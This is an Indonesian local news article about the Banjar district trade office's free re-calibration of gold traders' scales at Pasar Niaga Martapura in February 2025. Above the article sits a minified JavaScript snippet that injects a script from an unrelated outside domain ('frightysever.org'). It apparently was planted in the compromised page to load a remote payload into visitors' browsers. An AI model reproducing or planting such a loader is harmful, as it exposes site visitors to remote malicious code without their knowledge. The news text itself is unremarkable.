(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DKUMPP Banjar Kembali Gelar Tera Ulang Alat Ukur dan Timbang

KANALKALIMANTAN.COM, MARTAPURA – Kegiatan tera ulang alat Ukur Takar, Timbang dan Peralatannya (UTTP) kembali dilaksanakan oleh Dinas Koperasi Usaha Mikro Perindustrian dan Perdagangan (DKUMPP) Kabupaten Banjar melalui Bidang Kemetrologian dan Bina Usaha.

Kegiatan tersebut digelar di Pasar Niaga Martapura, Kamis (27/2/2025) pagi.

Pasar Niaga dijadikan lokus layanan pada hari terakhir angkatan I guna melindungi konsumen dan pedagang emas yang bertransaksi jual beli perhiasan pada Ramadan 1446 H.

Kepala DKUMPP Kabupaten Banjar I Gusti Made Suryawati menjelaskan, kegiatan tera ulang bagi pedagang emas di Pasar Niaga dilaksanakan selama dua hari, yakni 27 dan 28 Februari 2025, dengan harapan terget lebih dari tahun lalu sebanyak 80 timbangan.

“Jika ada pedagang emas yang ragu tentang kepastian timbangannya, selain kita setiap tahun selalu melaksanakan tera ulang, kami juga menerima secara terbuka setiap hari kerja di kantor dan pedagang bisa membawa timbangannya dan dilayani gratis juga,” ujar Made.

Dia menambahkan, antusias pedagang emas melakukan tera ulang cukup antusias, hal ini sangat mendasar karena pedagang ingin alat timbangnya akurat hingga tidak merugikan konsumen.

“Pelaksanaan tera ulang di Pasar Niaga menjadi penutup rangkaian layanan tera ulang dan pengawasan UTTP Pasar Tradisional angkatan I tahun 2025 setelah sebelumnya dilaksanakan 8 hari di pasar-pasar yang lain,” ungkap Made.

Tera ulang dan pengawasan UTTP angkatan I telah dilaksanakan di PPS Sekumpul selama 2 hari, Pasar Tatah Pemangkih Darat, Pasar Astambul, Pasar Karangan Putih, Pasar Taibah, Pasar Sukaramai dan Pasar Sungkai.

“Berdasar hasil pelaksanaan yang dilakukan tim DKUMPP hingga Rabu 26 Februari 2025, total jumlah alat ukur timbang dan perlengkapan pasar tradisional yang distandarisasi sebanyak 1.682 unit,” tutup Made. (kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani